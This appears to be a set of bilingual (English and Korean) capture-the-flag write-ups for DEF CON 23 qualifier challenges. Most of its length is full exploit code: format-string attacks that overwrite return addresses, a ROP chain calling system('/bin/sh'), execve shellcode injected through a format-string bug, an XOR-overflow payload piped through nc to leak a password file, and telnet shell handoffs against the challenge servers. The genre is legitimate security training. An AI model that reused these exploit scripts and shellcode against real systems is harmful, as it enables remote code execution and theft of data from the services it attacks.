32-bit Format String Bug

Exploit: Fake EBP

difference of library made me go nuts


from socket import *
import re
from struct import pack

p = lambda x: pack("<I", x)

def recv_until(s, data):
    p = s.recv(1)
    while data not in p:
        p += s.recv(1)
    return p

def shell(s):
    from telnetlib import Telnet
    t = Telnet()
    t.sock = s 
    t.interact()

s = socket(2,1)
s.connect(('54.165.223.128', 2555))

# leak EBP
recv_until(s, '>>> ')
s.send('1\n')

s.send('BBBB1\n')
s.send('0101234\n')
s.send('512\n')
s.send('%6$x\n')

recv_until(s, '>>> ')
s.send('4\n')
EBP = recv_until(s, '>>> ')
EBP = re.findall("Description: (.+)", EBP)[0]
EBP = int(EBP, 16) 
print 'EBP =',hex(EBP)

# leak library address
s.send('1\n')
s.send('BBBB2\n')
s.send('0101234\n')
s.send('512\n')
s.send('%2$x\n')

recv_until(s, '>>> ')
s.send('4\n')
data = recv_until(s, '>>> ')
t = re.findall("Description: (.+)", data)[1]
t = int(t, 16)
print 'SYSTEM_LIB', hex(t)

s.send('1\n')
s.send('BBBB3\n')
s.send('0101234\n')
s.send('512\n')
s.send('%2$x\n')

recv_until(s, '>>> ')
s.send('1\n')
s.send('BBBB4\n')
s.send('0101234\n')
s.send('512\n')
s.send('%2$x\n')

recv_until(s, '>>> ')
s.send('1\n')
s.send('BBBB5\n')
s.send('0101234\n')
s.send('512\n')
s.send('%2$x\n')

recv_until(s, '>>> ')
s.send('1\n')
s.send('BBBB6\n')
s.send('0101234\n')
s.send('512\n')
s.send('%45860c%6$hn\n')

recv_until(s, '>>> ')
s.send('1\n')
s.send('BBBB7\n')
s.send('0101234\n')
s.send('512\n')
payload = '%'+`((EBP+2)&0xffff)`.rstrip('L')+'c%33$hn'
s.send(payload+'\n')
print payload

recv_until(s, '>>> ')
s.send('1\n')
s.send('BBBB8\n')
s.send('0101234\n')
s.send('512\n')
s.send('%2052c%69$hn\n')

system_libc = t - 53777 + 2 # this made me crazy... server libc != local libc 
binsh = system_libc + 1181844

recv_until(s, '>>> ')
s.send('1\n')
payload = p(system_libc)
payload += p(binsh)*3
s.send(payload + '\n')

s.send('0101234\n')
s.send('512\n')
s.send('ASDF\n') # 0x804b324


recv_until(s, '>>> ')
s.send('4\n')
recv_until(s, '>>> ')
print 'Done'
shell(s)


다음과 같은 바이너리가 주어집니다.

rhinoxorus_cd2be6030fb52cbc13a48b13603b9979

※ 추후에 힌트로 추가된 소스

rhinoxorus.c


IDA로 살펴보면 함수가 굉장히 많이 있고, main() 함수에서 이 함수들을 function pointer array에 넣어주고 password.txt를 읽은 뒤 serve합니다.

목표는 password.txt에서 읽은 값을 알아내는겁니다.

serve를 하게되면 process_connection() 함수에서 256Byte를 입력받고, 입력받은 문자열의 첫번째 byte를 function pointer array의 index로 하고 첫 번째 인자를 문자열로, 두 번째 인자를 문자열 길이로해서 함수를 호출하고, 각 함수들 안에서는 함수 안의 버퍼의 크기와 인자와 XOR을 진행한 뒤 문자열의 길이를 하나씩 줄여가며 함수를 호출합니다. 문제에 대한 자세한 설명은 나중에 힌트로 소스도 주어진 만큼 생략하겠습니다.

각 함수 안에서는 우리가 입력해준 글자만큼 XOR로 덮어쓰니 buffer overflow가 일어납니다. 따라서 return address를 수정할 수 있는데, 마침 바이너리 안에 sock_send라는 함수가 있습니다. 따라서 return address를 sock_send로 바꾸고, 인자들을 sock_send(0x4 /* socket fd */, 0x805f0c0 /* password */, 0x100 /* length */); 처럼 해주면 우리한테 password의 내용이 전달됩니다.

문제는 canary 우회를 해야하고, 우리 입력값이 계속 함수로 실행되다보니 언제터질지 모른다는 점입니다.

따라서 저는 다음과같이 3단계로 구성하였습니다.

1단계: return address가 덮어씌워질 함수

2단계: buffer를 쭉 올라가서 1단계의 return address와 인자를 바꿔줌

3단계: count를 1로 바꿔서 바로 return되게 만듦

이렇게 구성하기 위해서 1단계의 버퍼는 조금 넉넉하게, 2단계와 3단계의 버퍼는 별로 없는 input을 찾아야 해서 손으로 조금 노가다를 뛰어보니 첫 2Byte가 \x35\x00이라면 func_67, func_9f, func_92가 차례대로 실행되면서 각각 버퍼의 사이즈가 0x58, 0x38, 0x04임을 확인해서 이걸로 진행하기로 하였습니다.

gdb로 봐가면서 얼마나 넣어야 버퍼의 값이 어떻게 바뀌고 하는지를 알아내는데 시간이 좀 걸렸습니다.

최종 payload를 살펴보면서 설명드리겠습니다.

(perl -e 'print "\x35\x00","\x60"x16,"\x60"x12,"\x9b\x60\x60\x60","\x58"x52,"\x00"x131,"\x58"x12,"\x00"x4,"\xb1\xe2\x01\x00","\x00"x4,"\xf8\x00\x00\x00","\xc0\xf1\x05\x08\x00\x01\x00\x00"')|nc 54.152.37.20 24242

"\x35\x00" : 실행될 3가지 함수를 지정.

"\x60"x16 : 3단계에서 func_92의 canary값에 영향을 주지 않기 위함. 이 함수에 들어가면 \x60이 상위 두 함수를 거치며 \x00으로 변해있음.

"\x60"x12 : func_92의 EBP에서 EBP+0xb까지 보존.

"\x9b\x60\x60\x60" : func_92의 두 번째 인자인 count를 1로 바꿔버림. func_92의 XOR은 여기서 멈춤.

"\x58"x52 : 2단계 func_9f의 canary와 EBP 위로 보존.

"\x00"x131 : 1단계의 func_67값들 (canary 및 EBP+@) 보존.

"\x58"x12 : 여기서부터 func_9f에서 func_67의 canary부분(func_67.EBP - 0xc)을 바꿈.

"\x00"x4 : dummy (func_67.EBP)

"\xb1\xe2\x01\x00" : func_67의 return address를 sock_send로 바꿔줌. (0x804884b = 0x08056afa(원래 있던 return address) ^ 0x1e2b1)

"\x00"x4 : dummy

"\xf8\x00\x00\x00" : sock_send의 첫 번째 인자를 4로 만들어줌 (0x4 = 0xfc(원래 있던 값(payload length)) ^ 0xf8)

\xc0\xf1\x05\x08\x00\x01\x00\x00" : sock_send의 두 번째 인자와 세 번째 인자를 각각 0x805f0c0, 0x100으로 만들어줌. (0x805f0c0 = 0x100(원래 있던 값) ^ 0x805f1c0, 0x100 = 0x0(원래 있던 값) ^ 0x100)

gdb에서 각 함수에서 XOR이 끝나고 BP를 걸고 func_67의 EBP부분을 살펴보면 func_9f에서 잘 덮어쓰는 것을 볼 수 있습니다. 또한 func_92에서 더 이상의 진행을 막기 위한 count가 1로 잘 바뀝니다.

이렇게하면 password가 잘 전송되는 것을 볼 수 있습니다.

Flag: cc21fe41b44ba70d0e6978c840698601

한국어(Korean): Link


Personally I think this was the easiest challenge in defcon23.

Connecting the server, it gives us expressions that contains addition, subtraction, multiplication, power, brackets, etc.

We can simply eval() the expression, but there are a few tricks.

Trick1: Numbers are written in English like "THREE - ONE = ". Let's change this back to number.

Trick2: There are square brackets and curly brackets. This has special meaning in python so let's turn them into small brackets.

Trick3: Expression of power is ^. It means XOR in python so turn this into **.

I thought 100 problems was enough but there were 1000.

from socket import *

s = socket(2,1)
s.connect(('mathwhiz_c951d46fed68687ad93a84e702800b7a.quals.shallweplayaga.me', 21249))

d = {'one':'1','two':'2','three':'3','four':'4','five':'5','six':'6','seven':'7','eight':'8','nine':'9', '=':'', '[':'(', '{':'(', ']':')', '}':')', '^':'**'}

for i in range(1000):
    tmp = s.recv(1024)
    print i, tmp
    for j in d.iterkeys():
        if j in tmp.lower():
            tmp = tmp.lower().replace(j, d[j])
    s.send(`eval(tmp)`+'\n')

import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()


Flag: Farva says you are a FickenChucker and you'd better watch Super Troopers 2

English: Link


이번 대회에서 가장 쉬웠던 문제가 아닐까 합니다.

서버에 접속하면 1자리수와 덧셈, 뺄셈, 곱셈, 지수, 괄호 등으로 이루어진 식이 나옵니다.

이를 받아서 eval해주면 되는데, 중간중간에 함정이 있는데 종류는 다음과 같습니다.

함정1: 숫자가 영어로 나올 때가 있습니다. "THREE - ONE = " 이런 식입니다. 이를 숫자로 바꿔줍시다.

함정2: 중괄호, 대괄호가 나옵니다. 이는 파이썬에서 다른 의미를 지니므로 괄호로 바꿔줍시다.

함정3: 지수의 표현이 ^입니다. 파이썬에서 이는 XOR을 의미하므로 **로 바꿔줍시다.

처음엔 100번만 하면 되는줄 알았는데 1000번을 해야 flag가 나옵니다.

from socket import *

s = socket(2,1)
s.connect(('mathwhiz_c951d46fed68687ad93a84e702800b7a.quals.shallweplayaga.me', 21249))

d = {'one':'1','two':'2','three':'3','four':'4','five':'5','six':'6','seven':'7','eight':'8','nine':'9', '=':'', '[':'(', '{':'(', ']':')', '}':')', '^':'**'}

for i in range(1000):
    tmp = s.recv(1024)
    print i, tmp
    for j in d.iterkeys():
        if j in tmp.lower():
            tmp = tmp.lower().replace(j, d[j])
    s.send(`eval(tmp)`+'\n')

import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()


Flag: Farva says you are a FickenChucker and you'd better watch Super Troopers 2

한국어(Korean): Link


We are given a binary below:

r0pbaby_542ee6516410709a1421141501f03760

As we can notice looking at the name, this is about ROP. Let's check the protections.

As imagined, NX is on and also PIE is.

Run the binary and we can easily find out what to do.

We can fetch the address of any function we want via No.2 and unleash overflow via No.3.

Let's take a look at how overflow occurs using gdb. To debug a PIE binary, you must first set "set stop-on-solib-events 1" option and then set BP after code section is loaded. Also set BP after calling memcpy where overflow occurs.

Our input is directly copied to rbp. So we can think of a payload like this:

dummy [A*8]

Address of "pop %rdi; retq"

Pointer to "/bin/sh"

system function


The reason why we put the address of "/bin/sh" in rdi is because arguments are passed not through stack but through register in x64 in this order:

rdi, rsi, rdx, r10, r9, r8

The first argument goes rdi.


We gotta find "pop rdi; retq" in libc using ROPgadget.

Then let's measure the distance between system and "/bin/sh", "pop %rdi; retq"

system-0x22b1a = 0x23b26 = 146214

Sadly we cannot find "/bin/sh" in libc using find command :( We gotta run a binary.

0x7ffff798dcdb-0x7ffff7857640=1271451

Final exploit code is as follows.

from socket import *
import struct

p = lambda x:struct.pack("<Q", x)

s = socket(2,1)
s.connect(('r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me',10436))

print s.recv(1024) # banner
print s.recv(1024) # menu

s.send('2\n')
print s.recv(1024) # which func?
s.send('system\n')
tmp = s.recv(1024)
print tmp
system_addr = eval(tmp.split(': ')[1])

payload = 'a'*8
payload += p(system_addr-146214) # pop rdi; retq;
payload += p(system_addr+1271451) # "/bin/sh"
payload += p(system_addr)
payload += '\n'

s.send('3\n'+`len(payload)`+'\n'+payload)

print s.recv(1024)
s.send('4\n')
print s.recv(1024)

import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()



Flag: W3lcome TO THE BIG L3agu3s kiddo, wasn't your first?

English: Link


다음과 같은 바이너리가 주어집니다.

r0pbaby_542ee6516410709a1421141501f03760

문제 이름에서도 알 수 있듯 rop에 관한 문제입니다. 보호기법을 확인해봅시다.

예상했듯이 NX는 걸려있고 PIE도 걸려있네요.

binary를 실행하면 무엇을 해야하는지 쉽게 알 수 있습니다.

2번으로 원하는 함수의 주소를 건네받고 3번을 통해 overflow를 일으킵니다.

gdb를 통해 오버플로우 과정을 확인해봅시다. PIE 바이너리를 디버깅하려면 set stop-on-solib-events 1를 해준 다음에 code영역 주소가 결정되면 BP를 걸어줍니다. memcpy로 overflow가 일어나므로 memcpy 직후에 BP를 겁시다.

rbp에 바로 copy가 되네요. 그러면 다음과 같이 payload를 짤 수 있습니다.

dummy [A*8]

"pop %rdi; retq"의 주소

"/bin/sh" 포인터

system함수


여기서 rdi에 /bin/sh의 주소를 넣는 이유는 x64에서는 인자가 스택으로 전달되지 않고 다음 레지스터의 순서대로 전달됩니다.

rdi, rsi, rdx, r10, r9, r8

그래서 system의 첫 번째 인자는 rdi에 넣어줍니다.


"pop rdi; retq;" 명령어는 libc에서 ROPgadget으로 찾아봅시다.

그리고 system과 "/bin/sh", "pop %rdi; retq"의 거리를 구합시다.

system-0x22b1a = 0x23b26 = 146214

"/bin/sh"의 주소는 libc에서는 find로 안 구해지네요...ㅠ gdb에서 구합시다.

0x7ffff798dcdb-0x7ffff7857640=1271451

최종 exploit 코드는 다음과 같습니다.

from socket import *
import struct

p = lambda x:struct.pack("<Q", x)

s = socket(2,1)
s.connect(('r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me',10436))

print s.recv(1024) # banner
print s.recv(1024) # menu

s.send('2\n')
print s.recv(1024) # which func?
s.send('system\n')
tmp = s.recv(1024)
print tmp
system_addr = eval(tmp.split(': ')[1])

payload = 'a'*8
payload += p(system_addr-146214) # pop rdi; retq;
payload += p(system_addr+1271451) # "/bin/sh"
payload += p(system_addr)
payload += '\n'

s.send('3\n'+`len(payload)`+'\n'+payload)

print s.recv(1024)
s.send('4\n')
print s.recv(1024)

import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()



Flag: W3lcome TO THE BIG L3agu3s kiddo, wasn't your first?

한국어(Korean): Link


We are given a binary below:

babyecho_eb11fdf6e40236b1a37b7974c53b6c3d

Checking out the protections, there is no canary, NX or PIE.

When we open it with IDA, there are lots of functions. It's because it is statically compiled. It makes it harder to analyze the binary.

We follow "Reading %d bytes" in String section to find 0x8048f3c function.

There is 14-second alarm so we turn it off to debug without being disturbed. Function 0x804f560 looks like printf and it only takes 1 argument. We can assume there is Format String Bug. Let's make lots of BPs after function calls.

printf is executed on stopping at BP 0x8049014. In addition, we write "%x %x" as input and "d a" came out.

Let's take a look at the stack.

We can check that there indeed is d and a. Also our input is stored at 0xffffd2dc and the pointer of the buffer is there too.

0xd is 13, and let's change this value and see if it reads more bytes. There are two 0xd so we change one by one and when the value at 0xffffd2d0 is changed, it reads more bytes.

So we first change it to use more space in buffer, put shellcode there, then change return address to the address of buffer.

Stage 1: The server has ASLR, so we find out the address of buffer by inputting "%5$x" (0xffffd2dc).

Stage 2: Subtract buf(address fetched from above step) by 12(0xffffd2d0) to get the address of reading size. Then write this address first so that we can modify it with "%7$n", followed by "%99c" to increase the value from 13 to 99. The reason for choosing 99 is because at first, payload must not exceed 13Byte, and '\xd0\xd2\xff\xff%99c%7$n\n' is the most we can get out of it.

Stage 3: Write NOP+shellcode in buffer.

Stage 4: Return address is storead at buf+1040, and we overwrite it with buf+28 because as we overwrite return address, that payload will overwrite the first few bytes of buffer. To overwrite it, %4294956780c is needed but it's too much so we'll break down into two steps where each step write 2 Bytes by "%hn": '\xec\xd6\xff\xff%54008c%7$hn', '\xee\xd6\xff\xff%65531c%7$hn'

I made payload as written above and sent it to server, but it did not work. It was because for our shellcode to be executed, main has to return, but it doesn't. It just keeps looping infinitely and exit by alarm. I looked into it more carefully and found that if esp+0x18 is not 0, main returns.

So finally, write any non-zero number in buf-4.

Here's my final payload.

from socket import *
from struct import pack

p = lambda x:pack("<I", x)
s = socket(2,1)
s.connect(('babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me',3232))

# first
print s.recv(1024)
s.send('%5$x\n')
buf = int(s.recv(1024), 16)
s.recv(1024)
print hex(buf)

# second
N=(buf-0xc)
payload = p(N)+"%99c%7$n\n"
print '[+]payload len:',len(payload)
s.send(payload)
print s.recv(1024).encode('hex')

# third
print s.recv(2**20)
payload = '\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' # x86 shellcode
payload = '\x90'*70+payload+'\n'
s.send(payload)
s.recv(2**16)

# fourth: bottom half
print s.recv(1024)
payload = p(buf+1040)+'%'+str((buf+28)&0xffff).rstrip('L')+'c%7$hn\n'
print '[+]third payload:',payload[:4].encode('hex')+payload[4:]
print '[+]third len:',len(payload)
s.send(payload)
print s.recv(2**16)

# fifth: top half
print s.recv(1024)
payload = p(buf+1042)+'%'+str((((buf+28)&0xffff0000)>>16)-4).rstrip('L')+'c%7$hn\n'
print '[+]fourth payload:',payload[:4].encode('hex')+payload[4:]
print '[+]fourth len:',len(payload)
s.send(payload)
print s.recv(2**16)

s.send('%267$x\n')

# exit
print s.recv(2**16)
payload = p(buf-4)+'%7$n\n'
s.send(payload)

import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()


Flag: 1s 1s th3r3 th3r3 @n @n 3ch0 3ch0 1n 1n h3r3 h3r3? 3uoiw!T0*%

English: Link


다음과 같은 바이너리가 주어집니다.

babyecho_eb11fdf6e40236b1a37b7974c53b6c3d

보호기법을 확인해보면 canary나 NX, PIE 모두 없는 것을 확인할 수 없습니다.

이를 IDA로 열어보면 함수가 매우 많이 나오는데 static file이기 때문입니다. 그래서 분석이 조금 힘들어집니다.

String에서 Reading %d bytes를 찾아서 함수를 따라가면 0x8048f3c에 함수가 나옵니다.

14초 alarm이 있으므로 이를 꺼버리고 디버깅을 해봅시다. 0x804f560함수가 printf같은데, 인자를 한 개만 받네요. Format String Bug를 의심해볼 수 있습니다. 함수를 호출한 직후에 BP를 여러개 걸어봅시다.

0x8049014에서 멈췄을 때 printf가 실행됩니다. 또한 input을 %x %x로 넣었더니 d와 a가 출력이 되는 것을 볼 수 있습니다.

stack 상황을 살펴봅시다.

실제로 d와 a가 있는 것을 확인할 수 있습니다. 또한 우리가 입력한 문자열은 0xffffd2dc에 저장되는데, 이를 가리키는 포인터도 스택에 저장되어있습니다.

0xd는 13인데, 이 값이 바뀌면 더 많이 읽는지 확인해봅시다. 0xd 값이 두 개이므로 하나씩 바꿔보면 0xffffd2d0에 있는 값을 바꾸면 그만큼 읽는다는 것을 확인할 수 있습니다.

그러면 우선 저 값을 여유롭게 바꾼 다음에, shellcode를 버퍼에 올린 뒤 return address를 buf로 바꿉시다.

1단계: 서버에는 ASLR이 걸려있으니 %5$x로 buf의 주소(0xffffd2dc)를 알아냅니다.

2단계: 이 buf 값에 12를 뺀 값(0xffffd2d0)을 input 제일 처음에 주면 %7$x에 주소값이 들어갑니다. 그런 다음 적당히 %10000c를 해준 뒤 %7$n을 하면 0xffffd2d0의 값을 바꿀 수 있습니다. 이 때 처음 payload는 13Byte를 넘으면 안 되므로, '\xd0\xd2\xff\xff%99c%7$n\n'가 최대입니다.

3단계: NOP+shellcode를 버퍼에 넣습니다.

4단계: 그런 다음 return address는 %267$x에 저장된 것을 확인할 수 있습니다. 그 주소는 buf+1040인데, 위처럼 이 값을 처음에 넣고 이 때 위에서 넣은 NOP+shellcode가 일부 덮어씌워지므로 buf+28정도를 return address로 덮어씌웁니다. 이 때, 한 번에 덮어씌우려면 %4294956780c를 해야하는데 이는 너무 기므로 %hn을 이용하여 2Byte씩 잘라서 넣어줍시다. '\xec\xd6\xff\xff%54008c%7$hn', '\xee\xd6\xff\xff%65531c%7$hn'

이렇게 해서 payload를 보냈는데 안 되는 겁니다. 왜 그런지 살펴보니 main을 return을 해야하는데 무한루프를 돌다가 alarm으로 끝나버려서 그러질 않더라고요. 멘붕에 빠져서 자세히 살펴보니 esp+0x18의 값이 0이 아니면 루프를 빠져나오는 것을 볼 수 있습니다.

그래서 마지막으로 buf-4에 0이 아닌 값을 덮어씌워주면 됩니다.

최종 payload는 다음과 같습니다.

from socket import *
from struct import pack

p = lambda x:pack("<I", x)
s = socket(2,1)
s.connect(('babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me',3232))

# first
print s.recv(1024)
s.send('%5$x\n')
buf = int(s.recv(1024), 16)
s.recv(1024)
print hex(buf)

# second
N=(buf-0xc)
payload = p(N)+"%99c%7$n\n"
print '[+]payload len:',len(payload)
s.send(payload)
print s.recv(1024).encode('hex')

# third
print s.recv(2**20)
payload = '\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' # x86 shellcode
payload = '\x90'*70+payload+'\n'
s.send(payload)
s.recv(2**16)

# fourth: bottom half
print s.recv(1024)
payload = p(buf+1040)+'%'+str((buf+28)&0xffff).rstrip('L')+'c%7$hn\n'
print '[+]third payload:',payload[:4].encode('hex')+payload[4:]
print '[+]third len:',len(payload)
s.send(payload)
print s.recv(2**16)

# fifth: top half
print s.recv(1024)
payload = p(buf+1042)+'%'+str((((buf+28)&0xffff0000)>>16)-4).rstrip('L')+'c%7$hn\n'
print '[+]fourth payload:',payload[:4].encode('hex')+payload[4:]
print '[+]fourth len:',len(payload)
s.send(payload)
print s.recv(2**16)

s.send('%267$x\n')

# exit
print s.recv(2**16)
payload = p(buf-4)+'%7$n\n'
s.send(payload)

import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()


Flag: 1s 1s th3r3 th3r3 @n @n 3ch0 3ch0 1n 1n h3r3 h3r3? 3uoiw!T0*%

한국어(Korean): Link


Accessing the server, the values of registers and weird string are given.

When we encode the string in hex, they all end with 'c3', which is opcode for "retq" in x64 assembly. Thus we can infer that we have to execute the assembly code and return the values of registers in the same format.

It's hard to run opcode in python so we'll use python as wrapper that uses socket and call C-compiled binary using subprocess module.

We can access the rax register in C by

register unsigned long long rax asm("rax");

Let's put the assembly code in a character array "code" and run it.


#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    void (*f)();
    register unsigned long long rax asm("rax");
    register unsigned long long rbx asm("rbx");
    register unsigned long long rcx asm("rcx");
    register unsigned long long rdx asm("rdx");
    register unsigned long long rsi asm("rsi");
    register unsigned long long rdi asm("rdi");
    register unsigned long long r8 asm("r8");
    register unsigned long long r9 asm("r9");
    register unsigned long long r10 asm("r10");
    register unsigned long long r11 asm("r11");
    register unsigned long long r12 asm("r12");
    register unsigned long long r13 asm("r13");
    register unsigned long long r14 asm("r14");
    register unsigned long long r15 asm("r15");

    unsigned long long _rax=0,_rbx=0,_rcx=0,_rdx=0,_rsi=0,_rdi=0,_r8=0,_r9=0,_r10=0,_r11=0,_r12=0,_r13=0,_r14=0,_r15=0;
    unsigned char code[1024]={0,};
    unsigned char tmp[3]={0,};
    int tmp2=0;

    if(argc<17) { printf("nope\n"); return 0; }

    int i;
    // put hex-encoded assembly in char[] code
    for(i=0; i<atoi(argv[1]); i++) {
        memcpy(tmp, argv[16]+i*2, 2);
        tmp2=strtol(tmp, &tmp, 16);
        code[i]=tmp2;
    }
    _rax =strtoll(argv[2], 0, 16);
    _rbx =strtoll(argv[3], 0, 16);
    _rcx =strtoll(argv[4], 0, 16);
    _rdx =strtoll(argv[5], 0, 16);
    _rsi =strtoll(argv[6], 0, 16);
    _rdi =strtoll(argv[7], 0, 16);
    _r8  =strtoll(argv[8], 0, 16);
    _r9  =strtoll(argv[9], 0, 16);
    _r10=strtoll(argv[10], 0, 16);
    _r11=strtoll(argv[11], 0, 16);
    _r12=strtoll(argv[12], 0, 16);
    _r13=strtoll(argv[13], 0, 16);
    _r14=strtoll(argv[14], 0, 16);
    _r15=strtoll(argv[15], 0, 16);

    f=(void *)code;

    rax=_rax;rbx=_rbx;rcx=_rcx;rdx=_rdx;
    rsi=_rsi;rdi=_rdi;r8=_r8;r9=_r9;
    r10=_r10;r11=_r11;r12=_r12;r13=_r13;
    r14=_r14;r15=_r15;

// Location of f: rbp-0xb8
    asm volatile(
        "call -0xb8(%rbp)\n\t"
    );
    _rax=rax;_rbx=rbx;_rcx=rcx;_rdx=rdx;
    _rsi=rsi;_rdi=rdi;_r8=r8;_r9=r9;
    _r10=r10;_r11=r11;_r12=r12;_r13=r13;
    _r14=r14;_r15=r15;
    printf("rax=0x%llx\n", _rax);
    printf("rbx=0x%llx\n", _rbx);
    printf("rcx=0x%llx\n", _rcx);
    printf("rdx=0x%llx\n", _rdx);
    printf("rsi=0x%llx\n", _rsi);
    printf("rdi=0x%llx\n", _rdi);
    printf("r8=0x%llx\n",  _r8);
    printf("r9=0x%llx\n",  _r9);
    printf("r10=0x%llx\n", _r10);
    printf("r11=0x%llx\n", _r11);
    printf("r12=0x%llx\n", _r12);
    printf("r13=0x%llx\n", _r13);
    printf("r14=0x%llx\n", _r14);
    printf("r15=0x%llx", _r15);
    return 0;
}


여기서 f()로 호출하면 컴파일러가 rax에 f의 주소를 넣고 call *%rax의 형태로 바뀌어서 rax값을 보존하기 위해 call 어셈블리를 inline으로 직접 넣었습니다. rbp-0xb8은 한번 컴파일을 해본 뒤 f가 어디에있는지 직접 찾아서 넣은 것입니다. f를 직접 호출하려고했는데 inline assembly와 C언어 변수간의 호환이 어렵더군요...

The reason I put "call rbp-0xb8" is because if we just call f() then the compiler put the address of f in rax and call *%rax when the value of rax must remain intact. I compiled the code first then figured out f is at rbp-0xb8. I wanted to call f directly but using C variable in inline assembly is harder than I thought...

We need to run code in stack so make it executable by giving "-z execstack" option in gcc:

gcc -o catwestern catwestern.c -z execstack -fno-stack-protector -g

Finally we just have to call the binary appropriately in python wrapper


from socket import *

s = socket(2,1)
s.connect(('catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me',9999))
reg = s.recv(2048)

print reg
reg = reg.split('\n')[1:]
for i in reg:
    exec i

a = s.recv(2048)
print a
a = a.split('\n')
a = '\n'.join(a[2:])
print 'LENGTH:', len(a)

regs = [rax,rbx,rcx,rdx,rsi,rdi,r8,r9,r10,r11,r12,r13,r14,r15]
for n,i in enumerate(regs):
    if i>0x7fffffffffffffff:
        regs[n] = -(0xffffffffffffffff-i+1)
cmd=('./catwestern %d ' +'%x '*14+ '%s')%(len(a),
    regs[0],regs[1],regs[2],regs[3],regs[4],
    regs[5],regs[6],regs[7],regs[8],regs[9],
    regs[10],regs[11],regs[12],regs[13],a.encode('hex'))

import subprocess
print cmd
t = subprocess.check_output(cmd, shell=True)

for i in t.split('\n'):
    exec i

ans = '''rax=0x%x
rbx=0x%x
rcx=0x%x
rdx=0x%x
rsi=0x%x
rdi=0x%x
r8=0x%x
r9=0x%x
r10=0x%x
r11=0x%x
r12=0x%x
r13=0x%x
r14=0x%x
r15=0x%x
''' % (rax,rbx,rcx,rdx,rsi,rdi,r8,r9,r10,r11,r12,r13,r14,r15)
print ans
s.send(ans)
print s.recv(2048)



Flag: Cats with frickin lazer beamz on top of their heads!

English: Link


서버에 접속하면 레지스터의 값들과 이상한 문자열이 주어집니다.

오는 문자열을 hex encode해보면 모두 c3으로 끝나는데, 이는 x64에서 retq 명령어입니다. 따라서 저 assembly코드를 실행한 뒤, 레지스터의 값들을 같은 형태로 반환해주면 됩니다.

python으로 어셈블리어를 실행하기는 힘드므로 python으로 socket통신을 해서 레지스터 초기값을 받은 뒤 subprocess를 이용해 C언어로 컴파일한 바이너리를 이용합시다.

C에서

register unsigned long long rax asm("rax");

로 rax변수를 선언하면 rax 레지스터의 값에 접근할 수 있습니다.

전해받은 assembly어를 code배열에 넣은 뒤 이를 실행합시다.


#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    void (*f)();
    register unsigned long long rax asm("rax");
    register unsigned long long rbx asm("rbx");
    register unsigned long long rcx asm("rcx");
    register unsigned long long rdx asm("rdx");
    register unsigned long long rsi asm("rsi");
    register unsigned long long rdi asm("rdi");
    register unsigned long long r8 asm("r8");
    register unsigned long long r9 asm("r9");
    register unsigned long long r10 asm("r10");
    register unsigned long long r11 asm("r11");
    register unsigned long long r12 asm("r12");
    register unsigned long long r13 asm("r13");
    register unsigned long long r14 asm("r14");
    register unsigned long long r15 asm("r15");

    unsigned long long _rax=0,_rbx=0,_rcx=0,_rdx=0,_rsi=0,_rdi=0,_r8=0,_r9=0,_r10=0,_r11=0,_r12=0,_r13=0,_r14=0,_r15=0;
    unsigned char code[1024]={0,};
    unsigned char tmp[3]={0,};
    int tmp2=0;

    if(argc<17) { printf("nope\n"); return 0; }

    int i;
    // hex encode된 명령어 code에 넣기
    for(i=0; i<atoi(argv[1]); i++) {
        memcpy(tmp, argv[16]+i*2, 2);
        tmp2=strtol(tmp, &tmp, 16);
        code[i]=tmp2;
    }
    _rax =strtoll(argv[2], 0, 16);
    _rbx =strtoll(argv[3], 0, 16);
    _rcx =strtoll(argv[4], 0, 16);
    _rdx =strtoll(argv[5], 0, 16);
    _rsi =strtoll(argv[6], 0, 16);
    _rdi =strtoll(argv[7], 0, 16);
    _r8  =strtoll(argv[8], 0, 16);
    _r9  =strtoll(argv[9], 0, 16);
    _r10=strtoll(argv[10], 0, 16);
    _r11=strtoll(argv[11], 0, 16);
    _r12=strtoll(argv[12], 0, 16);
    _r13=strtoll(argv[13], 0, 16);
    _r14=strtoll(argv[14], 0, 16);
    _r15=strtoll(argv[15], 0, 16);

    f=(void *)code;

    rax=_rax;rbx=_rbx;rcx=_rcx;rdx=_rdx;
    rsi=_rsi;rdi=_rdi;r8=_r8;r9=_r9;
    r10=_r10;r11=_r11;r12=_r12;r13=_r13;
    r14=_r14;r15=_r15;

// f의 위치: rbp-0xb8
    asm volatile(
        "call -0xb8(%rbp)\n\t"
    );
    _rax=rax;_rbx=rbx;_rcx=rcx;_rdx=rdx;
    _rsi=rsi;_rdi=rdi;_r8=r8;_r9=r9;
    _r10=r10;_r11=r11;_r12=r12;_r13=r13;
    _r14=r14;_r15=r15;
    printf("rax=0x%llx\n", _rax);
    printf("rbx=0x%llx\n", _rbx);
    printf("rcx=0x%llx\n", _rcx);
    printf("rdx=0x%llx\n", _rdx);
    printf("rsi=0x%llx\n", _rsi);
    printf("rdi=0x%llx\n", _rdi);
    printf("r8=0x%llx\n",  _r8);
    printf("r9=0x%llx\n",  _r9);
    printf("r10=0x%llx\n", _r10);
    printf("r11=0x%llx\n", _r11);
    printf("r12=0x%llx\n", _r12);
    printf("r13=0x%llx\n", _r13);
    printf("r14=0x%llx\n", _r14);
    printf("r15=0x%llx", _r15);
    return 0;
}


